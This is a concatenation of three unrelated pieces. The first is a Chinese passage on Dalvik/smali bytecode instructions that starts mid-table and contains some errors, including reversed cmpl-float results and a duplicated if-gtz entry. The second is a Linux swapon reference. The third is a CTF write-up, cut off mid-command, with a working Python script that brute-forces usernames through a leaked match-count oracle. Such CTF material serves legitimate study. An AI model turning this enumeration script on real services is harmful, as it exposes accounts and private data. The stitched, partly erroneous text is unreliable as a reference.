将vBB寄存器与vCC寄存器进行运算,结果保存到vAA寄存器 | | binop/2addr vA, vB | 将vA寄存器与vB寄存器进行运算,结果保存到vA寄存器 | | binop/lit16 vA, vB, #+CCCC | 将vB寄存器与常量 CCCC进行运算,结果保存到vA寄存器 | | binop/lit8 vAA, vBB, #+CC | 将vBB寄存器与常量CC进行运算,结果保存到vAA寄存器 | 后面3类指令比第1类指令分别多出了2addr,lit16,lit8后缀。但是,对于基础字节码相同的指令来说,其执行的运算操作是类似的。所以这里我们主要介绍第一类指令。除此之外,根据数据的类型不同会在基础字节码后面加上数据类型后缀,如`-int` 或 `-long` 分别表示操作的数据类型为整型与长整型。第一类指令的运算类型如下 | 运算类型 | **说明** | | --------- | ------------------ | | add-type | vBB + vCC | | sub-type | vBB - vCC | | mul-type | vBB * vCC | | div-type | vBB / vCC | | rem-type | vBB % vCC | | and-type | vBB & vCC | | or-type | vBB \| vCC | | xor-type | vBB ^ vCC | | shl-type | vBB << vCC ,有符号数左移 | | shr-type | vBB >> vCC,有符号数右移 | | ushr-type | vBB >>> vCC,无符号数右移 | 其中基础字节码后面的-type可以是-int,-long, -float,-double。 举个例子,java源码为 ```java int a = 5, b = 2; a += b; a -= b; a *= b; a /= b; a %= b; a &= b; a |= b; a ^= b; a <<= b; a >>= b; a >>>= b; ``` 其对应的smali为 ```smali const/4 v0, 0x5 const/4 v1, 0x2 add-int/2addr v0, v1 sub-int/2addr v0, v1 mul-int/2addr v0, v1 div-int/2addr v0, v1 rem-int/2addr v0, v1 and-int/2addr v0, v1 or-int/2addr v0, v1 xor-int/2addr v0, v1 shl-int/2addr v0, v1 shr-int/2addr v0, v1 ushr-int/2addr v0, v1 ``` #### 数组操作指令 数组操作指令中实现了获取数组长度,新建数组,数组赋值,数组元素取值与赋值等操作。 | **指令** | **说明** | | ---------------------------------------- | ---------------------------------------- | | array-length vA, vB | 获取给定vB寄存器中数组的长度并赋给vA寄存器,数组长度指的是数组中的元素个数。 | | new-array vA, vB, type@CCCC | 构造大小为vB的元素类型为type@CCCC的数组,并将引用赋给vA寄存器 | | filled-new-array {vC, vD, vE, vF, vG},type@BBBB | 构造大小vA的元素类型为type@BBBB的数组并填充数组内容。vA寄存器是隐含使用的,除了指定数组的大小外还指定了参数的个数,vC~vG是使用到的参数寄存序列 | | filled-new-array/range {vCCCC ..vNNNN}, type@BBBB | 指令功能与filled-new-array {vC, vD, vE, vF, vG},type@BBBB相同,只是参数寄存器使用range后缀指定了取值范围 ,vC是第一个参数寄存器,N = A +C -1 | | fill-array-data vAA, +BBBBBBBB | 用指定的数据来填充数组,vAA寄存器为数组引用,引用必须为基础类型的数组,在指令后面会紧跟一个数据表 | | new-array/jumbo vAAAA, vBBBB,type@CCCCCCCC | 指令功能与new-array vA,vB,type@CCCC相同,但是寄存器值与指令的索引取值范围更大(Android4.0中新增的指令) | | filled-new-array/jumbo {vCCCC ..vNNNN},type@BBBBBBBB | 指令功能与filled-new-array/range {vCCCC ..vNNNN},type@BBBB相同,只是索引取值范围更大(Android4.0中新增的指令) | | arrayop vAA, vBB, vCC | 对vBB寄存器指定的数组元素进行取值与赋值。vCC寄存器指定数组元素索引,vAA寄存器用来存放读取的或需要设置的数组元素的值。读取元素使用aget类指令,元素赋值使用aput类指定,根据数组中存储的类型指令后面会紧跟不同的指令后缀,指令列表如下:aget, aget-wide, aget-object, aget-boolean, aget-byte,aget-char, aget-short, aput, aput-wide, aput-object, aput-boolean, aput-byte, aput-char, aput-short。 | 我们可以定义数组如下 ```java int[] arr = new int[10]; ``` 其对应的smali如下 ```smali const/4 v1, 0xa new-array v0, v1, I ``` 如果我们直接在定义时,对数组进行初始化,如下 ```smali int[] arr = {1, 2, 3, 4, 5}; ``` 对应的smali如下 ```smali const/4 v1, 0x1 const/4 v2, 0x2 const/4 v3, 0x3 const/4 v4, 0x4 const/4 v5, 0x5 filled-new-array {v1, v2, v3, v4, v5}, I move-result v0 ``` 在寄存器连续的情况下,还可以写成如下代码 ```smali const/4 v1, 0x1 const/4 v2, 0x2 const/4 v3, 0x3 const/4 v4, 0x4 const/4 v5, 0x5 filled-new-array-range {v1..v5}, I move-result v0 ``` #### 实例操作指令 实例操作指令主要实现了实例的类型转换,检查及新建等功能。 | **指令** | **说明** | | ---------------------------------------- | ---------------------------------------- | | check-cast vAA, type@BBBB | 将vAA寄存器中的对象引用转换成type@BBBB类型,如果失败的话,抛出ClassCastException异常。如果类型B指定的是基本类型,对于非基本类型的A来说,运行时始终会失败 | | instance-of vA, vB, type@CCCC | 判断vB寄存器中的对象引用是否可以转换成指定的类型,如果可以,vA寄存器被赋值为1,否则vA寄存器被 赋值为0。 | | new-instance vAA, type@BBBB | 构造一个指定类型对象的新实例,并将对象引用赋值给vAA寄存器,类型符type指定的类型不能是数组类 | | check-cast/jumbo vAAAA, type@BBBBBBBB | 功能与check-cast vAA, type@BBBB相同,只是寄存器值与指令的索引取值范围更大(Android4.0中新增的指令) | | instance-of/jumbo vAAAA, vBBBB, type@CCCCCCCC | 功能与instance-of vA, vB, type@CCCC相同,只是寄存器值与指令的索引取值范围更大(Android4.0中新增的指令) | | new-instance/jumbo vAAAA, type@BBBBBBBB | 功能与new-instance vAA, type@BBBB相同,只是寄存器值与指令的索引取值范围更大(Android4.0中新增的指令) | 比如,我们定义一个实例 ```java Object obj = new Object(); ``` 其对应的smali代码如下 ```smali new-instance v0, Ljava/lang/Object; invoke-direct-empty {v0}, Ljava/lang/Object;-><init>()V ``` 再比如我们可以进行如下的类型判断 ```java String s = "test"; boolean b = s instanceof String; ``` 其对应的smali代码如下 ```smali const-string v0, "test" instance-of v1, v0, Ljava/lang/String; ``` 如果我们进行类型的强制转换 ```java String s = "test"; Object o = (Object)s; ``` 其对应的smali代码如下 ```smali const-string v0, "test" check-cast v0, Ljava/lang/Object; move-object v1, v0 ``` #### 字段操作指令 字段操作指令主要是对实例的字段进行读写操作。其中读操作使用get来标记,即vx=vy.field。写操作使用put来标记,即vy.field=vx。 其中对于java中的类来说,主要分为两种字段,普通字段,静态字段。对于普通字段采用操作指令前加i来标记,如iget,iput。对于静态字段采用在操作指令前加s来标记,如sput,sget。 此外,对于不同字段大小的操作会在指令的后面加上后缀来进行区别。如 iget-byte指令表示读取类型为字节的实例字段的值,iput-short指令表示设置的实例字段的类型为短整型。 普通字段操作指令有: iget,iget-wide,iget-object,iget-boolean,iget-byte,iget-char,iget-short, iput,iput-wide,iput-object,iput-boolean,iput-byte,iput-char,iput-short。 静态字段操作指令有: sget,sget-wide,sget-object,sget-boolean,sget-byte,sget-char,sget-short, sput,sput-wide,sput-object,sput-boolean,sput-byte,sput-char,sput-short。 如果我们编写如下代码 ```java int[] arr = new int[2]; int b = arr[0]; arr[1] = b; ``` 其对应的smali如下 ```smali const/4 v0, 0x2 new-array v1, v0, I const/4 v0, 0x0 aget-int v2, v1, v0 const/4 v0, 0x1 aput-int v2, v1, v0 ``` 如果我们想获得类com.example.test的静态int类型的字段staticField,其smali如下 ```smali sget v0, Lcom/example/Test;->staticField:I ``` #### 比较指令 比较指令实现了对两个寄存器的值(浮点型或长整型)进行比较的操作。 其格式为cmp(l/g)-kind vAA, vBB, vCC,其中vBB寄存器与vCC寄存器是需要比较的两个寄存器或寄存器对,比较的结果放到vAA寄存器。 - l-->less - g--> great 目前的比较指令如下 | **指令** | **说明** | | ----------- | ---------------------------------------- | | cmpl-float | 比较两个单精度浮点数。如果vBB寄存器大于vCC寄存器,结果为-1,相等则结果为0,小于的话结果为1 | | cmpg-float | 比较两个单精度浮点数。如果vBB寄存器大于vCC寄存器,则结果为1,相等则结果为0,小于的话结果为-1 | | cmpl-double | 比较两个双精度浮点数。如果vBB寄存器对大于vCC寄存器对,则结果为-1,相等则结果为0,小于则结果为1 | | cmpg-double | 比较两个双精度浮点数。如果vBB寄存器对大于vCC寄存器对,则结果为1,相等则结果为0,小于的话,则结果为-1 | | cmp-long | 比较两个长整型数。如果vBB寄存器大于vCC寄存器,则结果为1,相等则结果为0,小则结果为-1 | #### 跳转指令 跳转指令实现了从当前地址跳转到指定的偏移处的操作。Dalvik指令集中有三种跳转指令 - goto,无条件跳转 - switch,分支跳转 - if,条件跳转 ##### goto指令 如下 | 指令 | 含义 | | ----------------- | ----------------------- | | goto +AA | 无条件跳转到指定偏移处,偏移量AA不能为0 | | goto/16 +AAAA | 无条件跳转到指定偏移处,偏移量AAAA不能为0 | | goto/32 +AAAAAAAA | 无条件跳转到指定偏移处 | ##### if指令 if指令中主要分为两种if-test与if-testz。`if-test vA,vB,+CCCC` 会比较vA与v,如果比较结果满足就跳转到CCCC指定的偏移处(相对当前偏移),偏移量CCCC不能为0。if-test类型的指令如下: | 指令 | 说明 | | -------------------- | ------------ | | `if-eq vA,vB,target` | 如果vA=vB,跳转。 | | `if-ne vA,vB,target` | 如果vA!=vB,跳转。 | | `if-lt vA,vB,target` | 如果vA<vB,跳转。 | | `if-gt vA,vB,target` | 如果vA>vB,跳转。 | | `if-ge vA,vB,target` | 如果vA>=vB,跳转。 | | `if-le vA,vB,target` | 如果vA<=vB,跳转。 | if-testz类型的指令如下 | 指令 | 说明 | | ----------------- | ----------- | | if-eqz vAA,target | 如果vA=0,跳转。 | | if-nez vAA,target | 如果vA!=0,跳转。 | | if-ltz vAA,target | 如果vA<0,跳转。 | | if-gtz vAA,target | 如果vA>0,跳转。 | | if-lez vAA,target | 如果vA<=0,跳转。 | | if-gtz vAA,target | 如果vA>=0,跳转。 | 举个例子,java代码如下 ```java int a = 10 if(a > 0) a = 1; else a = 0; ``` smali代码如下 ```smali const/4 v0, 0xa if-lez v0, :cond_0 # if 块开始 const/4 v0, 0x1 goto :cond_1 # if 块结束 :cond_0 # else 块开始 const/4 v0, 0x0 :cond_1 # else 块结束 ``` 在只有if的情况下 ```java int a = 10; if(a > 0) a = 1; ``` smali代码如下 ```smali const/4 v0, 0xa if-lez v0, :cond_0 # if 块开始 const/4 v0, 0x1 :cond_0 # if 块结束 ``` ##### switch指令 如下 | 指令 | 含义 | | --------------------------- | ---------------------------------------- | | packed-switch vAA,+BBBBBBBB | vAA寄存器为switch分支中需要判断的值,BBBBBBBB指向一个packed-switch-payload格式的偏移表,表中的值是有规律递增的。 | | sparse-switch vAA,+BBBBBBBB | vAA寄存器为switch分支中需要判断的值,BBBBBBBB指向一个sparse-switch-payload格式的偏移表,表中的值是无规律的偏移表,表中的值是无规律的偏移量。 | 对于第一种递增式的switch,如下 ```java int a = 10; switch (a){ case 0: a = 1; break; case 1: a = 5; break; case 2: a = 10; break; case 3: a = 20; break; } ``` 对应的smali如下 ```smali const/16 v0, 0xa packed-switch v0, :pswitch_data_0 # switch 开始 :pswitch_0 # case 0 const/4 v0, 0x1 goto :goto_0 :pswitch_1 # case 1 const/4 v0, 0x5 goto :goto_0 :pswitch_2 # case 2 const/16 v0, 0xa goto :goto_0 :pswitch_3 # case 3 const/16 v0, 0x14 goto :goto_0 :goto_0 # switch 结束 return-void :pswitch_data_0 # 跳转表开始 .packed-switch 0x0 # 从 0 开始 :pswitch_0 :pswitch_1 :pswitch_2 :pswitch_3 .end packed-switch # 跳转表结束 ``` 对于非递增的switch,代码如下 ```smali int a = 10; switch (a){ case 0: a = 1; break; case 10: a = 5; break; case 20: a = 10; break; case 30: a = 20; break; } ``` 对应的smali如下 ```smali const/16 v0, 0xa sparse-switch v0, :sswitch_data_0 # switch 开始 :sswitch_0 # case 0 const/4 v0, 0x1 goto :goto_0 :sswitch_1 # case 10 const/4 v0, 0x5 goto :goto_0 :sswitch_2 # case 20 const/16 v0, 0xa goto :goto_0 :sswitch_3 # case 15 const/16 v0, 0x14 goto :goto_0 :goto_0 # switch 结束 return-void .line 55 :sswitch_data_0 # 跳转表开始 .sparse-switch 0x0 -> :sswitch_0 0xa -> :sswitch_1 0x14 -> :sswitch_2 0x1e -> :sswitch_3 .end sparse-switch # 跳转表结束 ``` #### 锁指令 锁指令用于在多线程程序。包含以下两个指令 | **指令** | **说明** | | ----------------- | --------- | | monitor-enter vAA | 为指定的对象获取锁 | | monitor-exit vAA | 释放指定的对象的锁 | #### 方法调用指令 方法调用指令实现了调用实例的方法的操作。其基础为invoke,在其基础上会根据调用方法的类别不同,如虚方法,父类方法等添加后缀,最后会选择性地使用range来指定寄存器范围。一般来说会分为两类 - invoke-kind {vC, vD, vE, vF, vG},meth@BBBB - invoke-kind/range {vCCCC .. vNNNN},meth@BBBB两类 总体来说,一般有如下指令 | **指令** | **说明** | | ---------------------------------------- | --------- | | invoke-virtual 或 invoke-virtual/range | 调用实例的虚方法 | | invoke-super 或 invoke-super/range | 调用实例的父类方法 | | invoke-direct 或 invoke-direct/range | 调用实例的直接方法 | | invoke-static 或 invoke-static/range | 调用实例的静态方法 | | invoke-interface 或 invoke-interface/range | 调用实例的接口方法 | Dalvik中直接方法是指类的所有实例构造器和`private`实例方法,对于`protected`或者`public`方法都叫做虚方法。 #### 异常指令 利用 throw vAA 指令抛出vAA寄存器中指定类型的异常。 ##### try catch 首先,我们来看一下try catch,如下 ```java int a = 10; try { callSomeMethod(); } catch (Exception e) { a = 0; } callAnotherMethod(); ``` 对应的smali如下 ```smali const/16 v0, 0xa :try_start_0 # try 块开始 invoke-direct {p0}, Lnet/flygon/myapplication/SubActivity;->callSomeMethod()V :try_end_0 # try 块结束 .catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0 :goto_0 invoke-direct {p0}, Lnet/flygon/myapplication/SubActivity;->callAnotherMethod()V return-void :catch_0 # catch 块开始 move-exception v1 const/4 v0, 0x0 goto :goto_0 # catch 块结束 ``` 可以看到,`:try_start_0`和`:try_end_0`之间如果存在异常,则会向下寻找`.catch`(或者`.catch-all`)语句,符合条件时跳到标签的位置,这里是`:catch_0`,结束之后会有个`goto`跳回去。 ##### try-finally java代码如下 ```java int a = 10; try { callSomeMethod(); } finally { a = 0; } callAnotherMethod(); ``` 其对应的smali代码如下 ```smali const/16 v0, 0xa :try_start_0 # try 块开始 invoke-direct {p0}, Lnet/flygon/myapplication/SubActivity;->callSomeMethod()V :try_end_0 # try 块结束 .catchall {:try_start_0 .. :try_end_0} :catchall_0 const/4 v0, 0x0 # 复制一份到外面 invoke-direct {p0}, Lnet/flygon/myapplication/SubActivity;->callAnotherMethod()V return-void :catchall_0 # finally 块开始 move-exception v1 const/4 v0, 0x0 throw v1 # finally 块结束 ``` 可以看出,由于`finally`中的逻辑无论有没有异常都会执行,所以代码里一共有两部分。 ##### try-catch-finally 当我们同时使用catch与finally时,如下 ```java int a = 10; try { callSomeMethod(); } catch (Exception e) { a = 1; } finally { a = 0; } callAnotherMethod(); ``` 其对应的smali代码如下 ```smali const/16 v0, 0xa :try_start_0 # try 块开始 invoke-direct {p0}, Lnet/flygon/myapplication/SubActivity;->callSomeMethod()V :try_end_0 # try 块结束 .catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0 .catchall {:try_start_0 .. :try_end_0} :catchall_0 const/4 v0, 0x0 # 复制一份到外面 :goto_0 invoke-direct {p0}, Lnet/flygon/myapplication/SubActivity;->callAnotherMethod()V return-void :catch_0 # catch 块开始 move-exception v1 const/4 v0, 0x1 const/4 v0, 0x0 # 复制一份到 catch 块里面 goto :goto_0 # catch 块结束 :catchall_0 # finally 块开始 move-exception v2 const/4 v0, 0x0 throw v2 # finally 块结束 ``` #### 返回指令 在java中我们会利用Return返回方法的执行结果。同样的,在Davilk中我们也需要return指令来返回方法运行结果。 | 指令 | 说明 | | ----------------- | -------------- | | return-void | 什么也不返回 | | return vAA | 返回一个32位非对象类型的值 | | return-wide vAA | 返回一个64位非对象类型的值 | | return-object vAA | 返回一个对象类型的引用 | ## java2smali **!!从java代码到smali代码!!** 该例子来自于<u>http://blog.csdn.net/dd864140130/article/details/52076515</u>。 java代码如下 ```java public class MainActivity extends Activity implements View.OnClickListener { private String TAG = "MainActivity"; private static final float pi = (float) 3.14; public volatile boolean running = false; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); } @Override public void onClick(View view) { int result = add(4, 5); System.out.println(result); result = sub(9, 3); if (result > 4) { log(result); } } public int add(int x, int y) { return x + y; } public synchronized int sub(int x, int y) { return x + y; } public static void log(int result) { Log.d("MainActivity", "the result:" + result); } } ``` 其对应的smali代码如下 ```smali #文件头描述 .class public Lcom/social_touch/demo/MainActivity; .super Landroid/app/Activity;#指定MainActivity的父类 .source "MainActivity.java"#源文件名称 #表明实现了View.OnClickListener接口 # interfaces .implements Landroid/view/View$OnClickListener; #定义float静态字段pi # static fields .field private static final pi:F = 3.14f #定义了String类型字段TAG # instance fields .field private TAG:Ljava/lang/String; #定义了boolean类型的字段running .field public volatile running:Z #构造方法,如果你还纳闷这个方法是怎么出来的化,就去看看jvm的基础知识吧 # direct methods .method public constructor <init>()V .locals 1#表示函数中使用了一个局部变量 .prologue#表示方法中代码正式开始 .line 8#表示对应与java源文件的低8行 #调用Activity中的init()方法 invoke-direct {p0}, Landroid/app/Activity;-><init>()V .line 10 const-string v0, "MainActivity" iput-object v0, p0, Lcom/social_touch/demo/MainActivity;->TAG:Ljava/lang/String; .line 13 const/4 v0, 0x0 iput-boolean v0, p0, Lcom/social_touch/demo/MainActivity;->running:Z return-void .end method #静态方法log() .method public static log(I)V .locals 3 .parameter "result"#表示result参数 .prologue .line 42 #v0寄存器中赋值为"MainActivity" const-string v0, "MainActivity" #创建StringBuilder对象,并将其引用赋值给v1寄存器 new-instance v1, Ljava/lang/StringBuilder; #调用StringBuilder中的构造方法 invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V #v2寄存器中赋值为ther result: const-string v2, "the result:" #{v1,v2}大括号中v1寄存器中存储的是StringBuilder对象的引用. #调用StringBuilder中的append(String str)方法,v2寄存器则是参数寄存器. invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; #获取上一个方法的执行结果,此时v1中存储的是append()方法执行后的结果,此处之所以仍然返回v1的 #原因在与append()方法返回的就是自身的引用 move-result-object v1 #继续调用append方法(),p0表示第一个参数寄存器,即上面提到的result参数 invoke-virtual {v1, p0}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder; #同上 move-result-object v1 #调用StringBuilder对象的toString()方法 invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; #获取上一个方法执行结果,toString()方法返回了一个新的String对象,因此v1中此时存储了String对象的引用 move-result-object v1 #调用Log类中的静态方法e().因为e()是静态方法,因此{v0,v1}中的成了参数寄存器 invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I .line 43 #调用返回指令,此处没有返回任何值 return-void .end method # virtual methods .method public add(II)I .locals 1 .parameter "x"#第一个参数 .parameter "y"#第二个参数 .prologue .line 34 #调用add-int指令求和之后将结果赋值给v0寄存器 add-int v0, p1, p2 #返回v0寄存器中的值 return v0 .end method .method public onClick(Landroid/view/View;)V .locals 4 .parameter "view" #参数view .prologue const/4 v3, 0x4 #v3寄存器中赋值为4 .line 23#java源文件中的第23行 const/4 v1, 0x5#v1寄存器中赋值为5 #调用add()方法 invoke-virtual {p0, v3, v1}, Lcom/social_touch/demo/MainActivity;->add(II)I #从v0寄存器中获取add方法的执行结果 move-result v0 .line 24#java源文件中的24行 .local v0, result:I #v1寄存器中赋值为PrintStream对象的引用out sget-object v1, Ljava/lang/System;->out:Ljava/io/PrintStream; #执行out对象的println()方法 invoke-virtual {v1, v0}, Ljava/io/PrintStream;->println(I)V .line 26 const/16 v1, 0x9#v1寄存器中赋值为9 const/4 v2, 0x3#v2寄存器中赋值为3 #调用sub()方法,{p0,v1,v2},p0指的是this,即当前对象,v1,v2则是参数 invoke-virtual {p0, v1, v2}, Lcom/social_touch/demo/MainActivity;->sub(II)I #从v0寄存器中获取sub()方法的执行结果 move-result v0 .line 28 if-le v0, v3, :cond_0#如果v0寄存器的值小于v3寄存器中的值,则跳转到cond_0处继续执行 .line 29 #调用静态方法log() invoke-static {v0}, Lcom/social_touch/demo/MainActivity;->log(I)V .line 31 :cond_0 return-void .end method .method protected onCreate(Landroid/os/Bundle;)V .locals 1 .parameter "savedInstanceState" #参数savedInstancestate .prologue .line 17 #调用父类方法onCreate() invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V .line 18 const v0, 0x7f04001a#v0寄存器赋值为0x7f04001a #调用方法setContentView() invoke-virtual {p0, v0}, Lcom/social_touch/demo/MainActivity;->setContentView(I)V .line 19 return-void .end method #declared-synchronized表示该方法是同步方法 .method public declared-synchronized sub(II)I .locals 1 .parameter "x" .parameter "y" .prologue .line 38 monitor-enter p0#为该方法添加锁对象p0 add-int v0, p1, p2 #释放锁对象 monitor-exit p0 return v0 .end method ``` ## 编译-smali2dex 给定一个 smali 文件,我们可以使用如下方式将 smali 文件编译为 dex 文件。 ```shell java -jar smali.jar assemble src.smali -o src.dex ``` 其中,smali.jar 来自于 <u>https://bitbucket.org/JesusFreke/smali/overview</u>。 ## 运行 smali 在将 smali 文件编译成 dex 文件后,我们可以进一步执行 首先,使用 adb 将 dex 文件 push 到手机上 ```shell adb push main.dex /sdcard/ ``` 其次使用如下命令执行 ```shell adb shell dalvikvm -cp /sdcard/main.dex main ``` 其中 - 这里我们使用 dalvikvm 命令。 - -cp 指的是 classpath 路径,这里就是 /sdcard/main.dex。 - main 指的是类名。 ## 参考阅读 - Android 软件安全与逆向分析 - http://blog.csdn.net/wizardforcel/article/details/54730253 - http://blog.csdn.net/dd864140130/article/details/52076515
sec-knowleage
swapon === 激活Linux系统中交换空间 ## 补充说明 **swapon命令** 用于激活Linux系统中交换空间,Linux系统的内存管理必须使用交换区来建立虚拟内存。 ### 语法 ```shell swapon(选项)(参数) ``` ### 选项 ```shell -a:将/etc/fstab文件中所有设置为swap的设备,启动为交换区; -h:显示帮助; -p<优先顺序>:指定交换区的优先顺序; -s:显示交换区的使用状况; -V:显示版本信息。 ``` ### 参数 交换空间:指定需要激活的交换空间,可以是交换文件和交换分区,如果是交换分区则指定交换分区对应的设备文件。 ### 实例 ```shell mkswap -c /dev/hdb4 (-c是检查有无坏块) swapon -v /dev/hdb4 swapon -s Filename type Size Used Priority /dev/hda5 partition 506008 96 -1 /dev/hdb4 partition 489972 0 -2 ```
sec-knowleage
# HappyCake Web, 15 points ## Description > Wish'em happy birthday! A link to a website was provided. ## Solution We visit the website and see a simple page with several birthday wishes, e.g.: ```html <div birthday=""> <p subtitle="">Happy cake, Nir!</p> <div info="" row=""> <p content="">06/12/2019</p> <a tag="" content="" href="scripts/page/?Nadav">@Nadav</a> </div> <p content="">Happy cake, <a tag="" content="" href="scripts/page/?Nir">@Nir</a>.</p> <p>We wish you the best of everything, including dogs and flags.</p> </div> ``` Clicking one of the '`@Name`' links brings us to the a profile page, e.g.: ```html <!DOCTYPE html> <!-- Copyright (c) 2019 Nadav Tasher https://github.com/NadavTasher/BaseTemplate/ --> <html lang="en"> <head> <meta charset="UTF-8"/> <meta name="description" content="Info about Nadav"> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=5, user-scalable=yes, minimal-ui"/> <meta name="mobile-web-app-capable" content="yes"> <meta name="theme-color" content="#dae4ed"/> <meta name="apple-mobile-web-app-capable" content="yes"/> <meta name="apple-mobile-web-app-status-bar-style" content="black-translucent"/> <meta name="apple-mobile-web-app-title" content="Happy Cake!"/> <title>@Nadav</title> <noscript></noscript> <style> /** * Copyright (c) 2019 Nadav Tasher * https://github.com/NadavTasher/BaseTemplate/ **/ /* ... Irrelevant style code, removed ... */ </style> <script> /** * Copyright (c) 2019 Nadav Tasher * https://github.com/NadavTasher/BaseTemplate/ **/ /* ... Irrelevant Javascript code, removed... */ </script> <script> </script> </head> <body column> <p style="font-size: 6vh">Developer pages</p> <p>Nadav's developer page</p><p>Full Web Stack, Android RE, Java, member of KAF</p> <a href="../../">Back home</a> </body> </html> <!-- OK --> ``` Searching for common web vulnerabilities, nothing immediate seems to reveal itself. The source code for the base template, which is linked to from the comments, doesn't seem to provide any hint either. The only odd behavior is related to the HTML comment at the end of the page: ```console root@kali:/media/sf_CTFs/kaf/HappyCake# curl -s http://ctf.kaf.sh/scripts/page/?Nadav | tail -n 1 && echo <!-- OK --> root@kali:/media/sf_CTFs/kaf/HappyCake# curl -s http://ctf.kaf.sh/scripts/page/? | tail -n 1 && echo <!-- failed after 0 rounds--> root@kali:/media/sf_CTFs/kaf/HappyCake# curl -s http://ctf.kaf.sh/scripts/page/?NoSuchName | tail -n 1 && echo <!-- failed after 2 rounds--> root@kali:/media/sf_CTFs/kaf/HappyCake# curl -s http://ctf.kaf.sh/scripts/page/?N | tail -n 1 && echo <!-- failed after 1 rounds--> root@kali:/media/sf_CTFs/kaf/HappyCake# curl -s http://ctf.kaf.sh/scripts/page/?Na | tail -n 1 && echo <!-- failed after 2 rounds--> root@kali:/media/sf_CTFs/kaf/HappyCake# curl -s http://ctf.kaf.sh/scripts/page/?Nad | tail -n 1 && echo <!-- failed after 3 rounds--> root@kali:/media/sf_CTFs/kaf/HappyCake# curl -s http://ctf.kaf.sh/scripts/page/?Nada | tail -n 1 && echo <!-- failed after 4 rounds--> root@kali:/media/sf_CTFs/kaf/HappyCake# curl -s http://ctf.kaf.sh/scripts/page/?Nadav | tail -n 1 && echo <!-- OK --> ``` The comment contains `OK` if the username exists. If it doesn't, the comment seems to hint how many characters from the input matched an existing user, before it was concluded that the user doesn't exist. This means that using brute-force, we can enumerate all the developer pages - we just need to keep count of the previous number of failed attempts and if we see it incremented, we know we found an additional valid character. Perhaps we'll find something interesting. We'll use the following Python script: ```python from collections import namedtuple from enum import Enum import requests import argparse import string import time import re # Printable characters (excluding {'\r', '\x0c', '\t', '\x0b', '\n'}), order optimized for CTF flags ALPHABET = 'Ee3Tt7Aa@4Oo0Ii1!_NnSs5$HhRrDdLlCcUuMmWwFfGg6YyPpBbVvKkJjXxQqZz289{}"#%&\'()*+,-./:;<=>?[\\]^`|~ ' assert(set(ALPHABET) == set(string.ascii_lowercase + string.ascii_uppercase + string.digits + string.punctuation + ' ')) status_comment_regex = re.compile(r'<!-- (failed after (?P<num_failed_rounds>\d+) rounds|OK )-->') Partial_Result = namedtuple('Partial_Result', 'username num_failed_rounds') class SearchMode(Enum): GREEDY = 'greedy' BFS = 'bfs' def __str__(self): return self.value def try_user(username: str) -> int: r = requests.get(f"https://ctf.kaf.sh/scripts/page/?{username}") last_line = r.text.split("\n")[-1] if (match:= status_comment_regex.match(last_line)): res = match.group('num_failed_rounds') return int(res) if res is not None else None def main(initial_string, search_mode): working_queue = [Partial_Result(initial_string, try_user(initial_string))] users = [] while len(working_queue) > 0: queue_item = working_queue.pop(0) for c in ALPHABET: new_username = queue_item.username + c num_failed_rounds = try_user(new_username) if num_failed_rounds is None: users.append(new_username) print(f'Found user: {new_username}', end=', ' if search_mode == SearchMode.BFS else '\n', flush=True) if search_mode == SearchMode.GREEDY: break elif num_failed_rounds > queue_item.num_failed_rounds: partial_result = Partial_Result(new_username, num_failed_rounds) working_queue.append(partial_result) print (f'{new_username}', end=', ' if search_mode == SearchMode.BFS else '\r', flush=True) if search_mode == SearchMode.GREEDY: break if search_mode == SearchMode.BFS: print ("Found the following users:") print(users) if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument("-s", '--initial_string', action='store', type=str, default="", help='Initial string value to start scanning from') parser.add_argument("-m", '--search_mode', action='store', type=SearchMode, choices=list(SearchMode), default=SearchMode.BFS, help='Search Mode') args = parser.parse_args() main(args.initial_string, args.search_mode) ``` By default, it uses [BFS](https://en.wikipedia.org/wiki/Breadth-first_search) to display the first `n` characters of each existing profile. If we spot an interesting prefix, we can abort the search and use `Greedy` mode to further explore it, instead of waiting for the `BFS` search to finish. Running it, we get: ```console root@kali:/media/sf_CTFs/kaf/HappyCake# python3.8 solve.py E, T, A, O, I, N, S, H, R, D, L, C, U, M, W, F, G, Y, P, B, V, K, J, X, Q, Z, Et, Ea, En, Es, Er, Ed, El, Eu, Em, Ep, Ev, Ez, Te, Ta, To, Ti, Th, Tr, Tu, Found user: Ty, At, Aa, Ai, An, As, Ah, Ar, Ad, Al, Ac, Au, Am, Ag, Ay, Ap, Ab, Av, Ax, Az, Ot, Oa, Os, Or, Od, Ol, Om, Ow, Ia, Is, Ir, Ig, Ib, Iv, Ik, Iz, Ne, Na, No, Ni, Se, St, Sa, So, Si, Sh, Sc, Su, Sy, Sp, Sk, He, Ha, Ho, Hu, Re, Ra, Ro, Ri, Rh, Ru, Ry, De, Da, Do, Di, Dr, Du, Dw, Dy, Le, La, Lo, Li, Lu, Ly, Ce, Ca, Co, Ch, Cr, Cl, Cu, Cy, Ur, Ul, Me, Ma, Mo, Mi, Mu, My, We, Wa, Wi, Wy, Fe, Fa, Fo, Fi, Fr, Fl, Ge, Ga, Go, Gi, Gr, Gu, Ye, Ya, Yo, Yi, Yu, Pe, Pa, Po, Pi, Ph, Pr, Be, Ba, Found user: Bo, Bi, Br, Bl, By, Bj, Va, Vi, Ke, KA, Ka, Ko, Ki, Kn, Kh, Kr, Ky, Je, Ja, Jo, Ji, Ju, Xa, Xz, Qu, Ze, Za, Zi, Zy, Eth [...] ``` Scanning through the intermediate results, we can spot an interesting prefix: `KA`, which is: 1. The only prefix that has two capital letters 2. The beginning of the flag format: `KAF{}` Now's the time to switch to greedy mode: ```console root@kali:/media/sf_CTFs/kaf/HappyCake# python3.8 solve.py -s KA -m greedy Found user: KAF{12098421009713091723097120397428479354_ju5t_m3551n9_w1th_ya_b0ii} root@kali:/media/sf_CTFs/kaf/HappyCake# curl -s 